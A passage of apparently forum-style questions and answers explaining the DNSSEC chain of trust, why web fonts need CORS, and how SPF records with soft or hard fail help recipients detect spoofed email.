To allow the resolver to check that signature, it also gets the ZSK, and its signature (RRSIG) signed with the KSK.
To allow the resolver to check that signature, it also gets the KSK, and its signature (RRSIG) signed with the KSK. (self-signed)

You can see that, if you trust the algorithms used, everything is as secure as the KSK is. But the KSK is sent by the same nameserver that sent you the record! It could seem pretty useless, but not really…

The resolver gets from the parent zone the DS record for the aforementioned zone. This DS records is a digest of the aforementioned zone KSK.

As you can see, as long as you trust the parent zone, you can trust the KSK used, and thus the record.

That's how DNSSEC works: that DS record is also signed by the parent zone ZSK, like the record was in the child zone. You check it with the ZSK, the KSK, and the DS record of the parent of the parent zone. And so on and so forth until you reach the root zone. The root's KSK are hardcoded in the resolver.

Note: the key rollover process is slightly more complicated. Because of resolvers caching data, you might need to keep old records (signatures) for a time.


Why are web font resource requests not no-cors? CSS, JS, images etc are all fetched as no-cors. What's different about web fonts?

Per the spec:

  For font loads, user agents must use the potentially CORS-enabled fetch method defined by the [FETCH] specification for URL's defined within @font-face rules. When fetching, user agents must use "Anonymous" mode, set the referrer source to the stylesheet's URL and set the origin to the URL of the containing document.

This mechanism exists mainly as a way for font creators to control which websites can access their possibly copyrighted and licensed products.

As MDN puts it:

  ... Web Fonts (for cross-domain font usage in @font-face within CSS), so
  that servers can deploy TrueType fonts that can only be cross-site
  loaded and used by web sites that are permitted to do so.

As a note this decision was not always welcomed and for a time Chrome didn't require the CORS header for webfonts.

As for why this is different for CSS and JS one reason is the history of the CORS header. CSS and JS predate the introduction of CORS and to apply restrictions to them retroactively would have broken many existing sites. Webfonts on the other hand are relatively new and there was less reason not to apply the same-origin rule.


How spf records prevents the server from attackers? I have very little knowledge about spf records. I have Googled a little and found that spf records are used to prevent email spoofing. But I dont really understood how this works. I would like to know about the following things in brief.

How to set an spf record for my website. (Any links pointing to securely set an spf record may be useful)
Is there a significant difference between using - instead of ~. For
example:

what is the difference between

TXT @ "v=spf1 a include:_spf.google.com ~all"

and

TXT @ "v=spf1 a include:_spf.google.com -all"

Can spf records actually prevent attackers from spoofing my mail server.

Thanks in advance :)

How spf records prevents the server from attackers?

They don't. They allow the recipient of the mail to detect spoofed mails but they don't prevent attacks against the server.

  How to set an spf record for my website. (Any links pointing to securely set an spf record may be useful)

Add a TXT or SPF DNS record for your domain. How this is done depends on the way you can configure DNS for your domain. There are several resources online which help you to create a proper SPF record, just google for spf wizard.

  Is there a significant difference between using - instead of ~.

Yes there is. And it is documented also in the extensive Wikipedia entry. In short: - causes a hard fail where the recipient should not accept the mail, while ~ is only soft fail where the recipient should accept the mail but might increase the spam level.

  Can spf records actually prevent attackers from spoofing my mail server.

They can help a lot especially if strict settings are used (i.e. fail not soft fail). But they must be checked by the receiving mail server, because the recipient itself can not reliably know the senders IP address which is necessary to check the SPF record. With DKIM instead the senders MTA signs the mail (or parts of it) and this signature can be verified by the recipient.